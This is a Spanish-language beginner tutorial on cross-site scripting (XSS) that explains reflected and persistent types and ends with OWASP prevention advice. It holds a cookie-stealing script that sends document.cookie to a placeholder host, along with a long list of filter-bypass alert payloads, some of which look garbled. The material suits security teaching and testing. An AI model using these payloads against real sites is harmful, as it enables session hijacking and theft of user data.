[XSS] Tutorial básico

Hola amig@s! En este post les mostraremos lo que es la vulnerabilidad Cross Site Scripting/Secuencia de Comandos en Sitios Cruzados(XSS) , en qué consiste, cuales son los tipos, así como sus riesgos y algunas técnicas de explotar esta vulnerabilidad que aún muchos programadores Web descuidan o pasan desapercibidos, como siempre para este tipo de tutoriales, NO me hago responsable del uso que ustedes decidan darle, ya que es con fines educativos, igual pondremos algunos consejos para evitar esta vulnerabilidad si ustedes son webmasters o bien si son estudiantes. Sin mas podemos pasar al tutorial.

¿Qué es la vulnerabilidad XSS?


Esta vulnerabilidad consiste en una inyección mediante códigos podrían ser como html o javascript/ajax en sitios vulnerables, aprovechando fallas de validación en html. Los resultados vuelven a leer el texto en formato HTML, por lo que ejecuta las secuencias de comandos en lugar de mostrarlos en texto plano, en síntesis manipula el input y output de validación. Con un ataque XSS, se puede robar las cookies de un administrador de la web así como de los usuarios, también para redireccionar a usuarios a un sitio malicioso, podemos usar esta vulnerabilidad para hacernos del control del sitio, o bien infectando a los usuarios con fines del atacante ya sea para phishing, volver zombie al usuario  entre otros.
Esta vulnerabilidad no le hace  honor a sus siglas abreviadas (XSS) para no confundir las siglas de las hojas de estilo en cascada (CSS), ahí por eso de su abreviación XSS-.


Tipos de XSS:

Indirecta(Reflejada/Reflected): Este tipo de XSS es la que se refleja en el sitio, mas no queda guardada en la web, en esta el código se inyecta a través de formularios, URL, cookies, programas en Flash o incluso en vídeos, de hecho es la mas fácil de encontrar en las websites.

En la barra de búsqueda del código ingresé la típica alerta de javascript <script>alert('Ejemplo de XSS Reflejada o Indirecta!')</script> , y con ello se ejecutó la ventana de alerta como vimos en la imagen anterior, con lo cual obviamente es vulnerable. Aunque NO siempre funciona un código javascript como el que acabo de mostrar ya que el sitio puede poseer filtros para no permitir ciertos caracteres como las comillas " " ' ', y para ello pasamos el texto a decimal y usando la función String.fromCharCode, la cual nos permitirá cifrar nuestro texto ASCII como vemos aquí:

Normal:

<script>alert('vuln')</script>

Con bypass:

<script>alert(String.fromCharCode(118,117,108,110))</script>

Y listo con algo así podría aceptar la inyección de código el sitio :D.

Directa(Persistente/Persistent): Este tipo de XSS es un poco mas difícil de encontrar, a diferencia de la xss reflejada,  busca inyectar código en el sitio web, haciéndola más peligrosa debido a que no afecta a un solo usuario sino a todas las personas que visiten el sitio web, por ejemplo para foros, libros de visita, formularios, blogs, etc.

Consideremos la posibilidad de una aplicación web que permite a los usuarios introducir un nombre de usuario que se muestra en la página de perfil de cada usuario. La aplicación almacena el nombre de cada usuario en una base de datos local. Un usuario malintencionado da cuenta de que la aplicación web no puede desinfectar el campo de nombre de usuario y entradas de código JavaScript malicioso como parte de su nombre de usuario. Cuando otros usuarios vean la página de perfil del atacante, el código malicioso se ejecuta automáticamente en el marco de su sesión.

En este punto se pueden comprometer varios ciclos de seguridad dentro del servidor mismo si no tomaron las medidas adecuadas jejejeje. Uno de los ejemplos mas claros sobre las xss persistentes es cuando se crea un archivo por ejemplo de cookies y se almacena en algún otro sitio "cookies.txt", el atacante fácilmente puede comprometer mediante el robo de las mismas redireccionando a otro lado esta información.

<script>document.location="http://www.host.com/cookies.php?cookie="+document.cookie;</script>

Bueno hay que reconocer que un simple ataque muchas veces no es efectivo a filtros que puedan poseer los sitios, pero para ello hay muchas formas de saltárselos jejejeje, ya que tiene bloqueados algunos parámetros conocidos para este tipo de ataques por ejemplo < > ' ".

Por ejemplo si nosotros ingresamos una normal alerta como <script>alert('vuln')</script> la url puede saltar con mensaje de que los caracteres no son permitidos, no solo las comillas, para eso podríamos poner
un ";alert("vuln");"  y así ir probando hasta que alguno lo acepte, claro siempre que tenga la vulnerabilidad el sitio...En otro post explicaré el uso de herramientas automatizadas con el fin de buscar y explotar las vulnerabilidades entre ellas las xss.

 A continuación les dejo un listado de algunos bypass que sirven para este fin:


";alert("vuln");"
";alert(String.fromCharCode(118,117,108,110));"
';alert("vuln");'
';alert(String.fromCharCode(118,117,108,110));'
";alert("vuln")
";alert(String.fromCharCode(118,117,108,110))
';alert("vuln")
';alert(String.fromCharCode(118,117,108,110))
</SCRIPT>">"><SCRIPT>alert("vuln")</SCRIPT>
</SCRIPT>">'><SCRIPT>alert(String.fromCharCode(118,117,108,110))</SCRIPT>
"/><script>alert("vuln")</script>
"/><script>alert(String.fromCharCode(118,117,108,110))</script>
'/><script>alert("vuln")</script>
'/><script>alert(String.fromCharCode(118,117,108,110))</script>
"><ScRIPt>aLeRT("vuln")</ScRIPt>
</SCRIPT>"><SCRIPT>alert("vuln")</SCRIPT>
'><ScRIPt<aLeRT(String.fromCharCode(118,117,108,110))</ScRIPt>
</script><script>alert("vuln")</script>
</script><script>alert(String.fromCharCode(118,117,108,110))</script>
"><script>alert("vuln")</script>
"><script>alert(String.fromCharCode(118,117,108,110))</script>
'><script>alert("vuln")</script>
'><script>alert(String.fromCharCode(118,117,108,110))</script>
<ScRIPt>aLeRT("vuln")</ScRIPt>
<ScRIPt<aLeRT(String.fromCharCode(118,117,108,110))</ScRIPt>
</SCRIPT>"><SCRIPT>alert(String.fromCharCode(118,117,108,110))
"><ScRIPt<aLeRT(String.fromCharCode(118,117,108,110))</ScRIPt>
'><ScRIPt>aLeRT("vuln")</ScRIPt>
ļscriptľalert(1);ļ/scriptľ 
ȼscriptȾalert(2);ȼ/scriptȾ 
̼script̾alert(3);̼/script̾ 
мscriptоalert(4);м/scriptо 
ԼscriptԾalert(5);Լ/scriptԾ 
ؼscriptؾalert(6);ؼ/scriptؾ 
ܼscriptܾalert(7);ܼ/scriptܾ 
࠼script࠾alert(8);࠼/script࠾ 
़scriptाalert(9);़/scriptा 
਼scriptਾalert(10);਼/scriptਾ 
଼scriptାalert(11);଼/scriptା 
఼scriptాalert(12);఼/scriptా 
഼scriptാalert(13);഼/scriptാ 
฼script฾alert(14);฼/script฾ 
༼script༾alert(15);༼/script༾ 
ြscriptှalert(16);ြ/scriptှ 
ᄼscriptᄾalert(17);ᄼ/scriptᄾ 
ሼscriptሾalert(18);ሼ/scriptሾ 
ጼscriptጾalert(19);ጼ/scriptጾ 
ᐼscriptᐾalert(20);ᐼ/scriptᐾ 
ᔼscriptᔾalert(21);ᔼ/scriptᔾ 
ᘼscriptᘾalert(22);ᘼ/scriptᘾ 
᜼script᜾alert(23);᜼/script᜾ 
ᠼscriptᠾalert(24);ᠼ/scriptᠾ 
᤼script᤾alert(25);᤼/script᤾ 
ᨼscriptᨾalert(26);ᨼ/scriptᨾ 
ᬼscriptᬾalert(27);ᬼ/scriptᬾ 
᰼script᰾alert(28);᰼/script᰾ 
ᴼscriptᴾalert(29);ᴼ/scriptᴾ 
ḼscriptḾalert(30);Ḽ/scriptḾ 
ἼscriptἾalert(31);Ἴ/scriptἾ 
‼script‾alert(32);‼/script‾ 



Consejos para prevenir los XSS(Fuente OWASP):


La mejor protección para XSS es una combinación de validación de listas blancas (“whitelists”) de toda la información entrante y una apropiada codificación de la información saliente. La validación permite la detección de ataques, y la codificación previene cualquier inyección de secuencia de comandos de ejecutarse exitosamente en el navegador.

Prevenir XSS en una aplicación entera requiere una solución de arquitectura consistente en:

• Validación de entrada. Utilizar un mecanismo estándar de validación de entrada para validar toda la información entrante contra longitud, tipo, sintaxis, y reglas de negocio antes de permitir que la información sea visualizada o almacenada. Utilizar una estrategia de validación de “aceptar solo lo bueno”. Rechazar la información inválida en lugar de rehabilitar posible información hostil. No olvidar que los mensajes de errores pueden también contener información inválida.

• Codificación fuerte de salida. Asegurar que toda la información suministrada por el usuario sea apropiadamente codificada (sea HTML o XML dependiendo en el mecanismo de salida) antes de devolver la página, mediante la codificación de todos los caracteres a excepción de un pequeño subgrupo. Este es el enfoque Anti-XSS de la librería Microsoft, y próximamente utilizado en la librería OWASP PHP Anti-XSS. También, configurar la codificación de caracteres para cada página de salida, lo cual reducirá la exposición a algunas variantes.

• Especificación de la codificación de salida. (tales como ISO 8859-1 o UTF 8). No permitir que el atacante elija esto en nombre de los usuarios.

• No utilizar la validación de lista negra “blacklist” para detectar XSS en la entrada o para validar la salida. Buscar y reemplazar solo algunos caracteres (“<” “>” y otros caracteres similares o frases tales como “script”) es una técnica débil y ha sido atacada satisfactoriamente con anterioridad. Incluso una etiqueta “<b>” sin verificar es inseguro en algunos contextos. XSS tiene un sorprendente número de variantes que hacen sencillo evitar la validación de listas negras.

• Cuidado con los errores canónicos. Los valores de entrada deben ser decodificados y canonizados a la representación interna de la aplicación antes de ser validados. Asegurarse que la aplicación no decodifique la misma entrada dos veces. Tales errores pueden ser usados para evadir los esquemas de listas blancas “whitelists” introduciendo entradas peligrosas luego de haber sido controladas.

• Recomendaciones específicas de lenguaje.

• Java: Utilizar mecanismos de salida Struts tales como <bean:write..>, o utilizar el atributo JSTL por defecto escapeXML=”true” en <c:out...>. NO utilizar <%=....%> desanidados (esto es, fuera de un mecanismo de salida codificado apropiadamente).

• NET: Utilizar la librería Microsoft de Anti-XSS versión 1.5 la cual se encuentra disponible gratuitamente en MSDN. No asignar a los campos de un formulario información directamente desde un objeto Request: username.Text = Request.QueryString(“username”); sin utilizar esta librería. Comprender qué controles .NET automáticamente codifican la información de salida.

• PHP: Asegurar que la salida es pasada a través de htmlentities() o htmlspecialchars() o utilizar la librería OWASP PHP Anti-XSS que será lanzada próximamente. Deshabilitar register_globals si aun se encuentra habilitado.

 URL DE OWASP

Si desean profundizar mas y con muchos ejemplos les dejo este PDF muy bueno!

Bueno amig@s aquí concluimos con este tutorial, próximamente estaremos haciendo otros post sobre otras vulnerabilidades como SCD, PT, FPD, etc. Espero sea de su ayuda y como dije anteriormente lo que ustedes hagan con este material es responsabilidad de ustedes, ya que este post lo hicimos con fines educativos, me suscribo de ustedes....by 4uxx.